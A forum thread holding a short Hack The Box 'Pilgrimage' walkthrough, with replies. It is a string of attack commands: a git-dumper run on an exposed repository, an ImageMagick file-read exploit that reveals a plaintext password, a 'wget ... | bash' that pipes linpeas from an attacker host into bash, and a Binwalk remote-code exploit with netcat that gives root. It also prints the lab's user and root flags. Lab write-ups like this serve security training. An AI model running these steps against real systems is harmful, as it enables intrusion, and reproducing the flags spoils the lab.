HTB short walkthrough (Pilgrimage)
by dwecc433 - Thursday August 31, 2023 at 02:36 PM
#1
nmap -A -vv 10.10.11.219 # scan: 10.10.11.219:80/.git/  Git repository found! # web: redirect to pilgrimage.htb sudo sh -c 'echo "10.10.11.219 pilgrimage.htb" >> /etc/hosts' # https://github.com/arthaud/git-dumper git-dumper http://pilgrimage.htb/.git/ git # Use github desktop to analize # index.php line 27 (exec) # Google: magick convert -> ImageMagick # Google: cve ImageMagick -> CVE-2022-44268 (LFI) # Google: ImageMagick CVE-2022-44268 -> https://github.com/Sybil-Scan/imagemagick-lfi-poc python3 tmp_poc.py -f /etc/passwd -o image.png # web: upload image.png wget http://pilgrimage.htb/shrunk/64eb6d907ab7d.png identify -verbose 64eb6d907ab7d.png # Decode from hex in https://gchq.github.io/CyberChef python3 tmp_poc.py -f /var/db/pilgrimage -o image.png wget http://pilgrimage.htb/shrunk/64eb7359a9202.png identify -verbose 64eb7359a9202.png # Decode from hex and save as sqllite file (open in viewer i use pycharm) # found: emily:abigchonkyboi123 ssh emily@10.10.11.219 cat user.txt # a5146ed68c4875512bdac504f7afd62a # https://github.com/carlospolop/PEASS-ng # Download and run in memory wget -qO- http://10.10.*.*:8000/linpeas.sh | bash # ╔══════════╣ .sh files in path # ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path # /usr/bin/gettext.sh # /usr/sbin/malwarescan.sh cat /usr/sbin/malwarescan.sh # from script /usr/local/bin/binwalk -h # Google: cve Binwalk v2.3.2 -> CVE-2022-4510 (RCE) # https://www.exploit-db.com/exploits/51249 wget http://10.10.*.*:8000/binwalk_exploit.png # Run nnetcat and: cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/ cat root.txt # 4a4d84fcf763975b9bf8da4986f14d7f
Reply
#2
(08-31-2023, 02:38 PM)begooddata Wrote: thanks for the info today

You are welcome! I like short walkthrough!
Reply
#3
thanks for the help man
Reply
#4
my first machineee
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,271 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,795 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,059 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,275 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,547 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: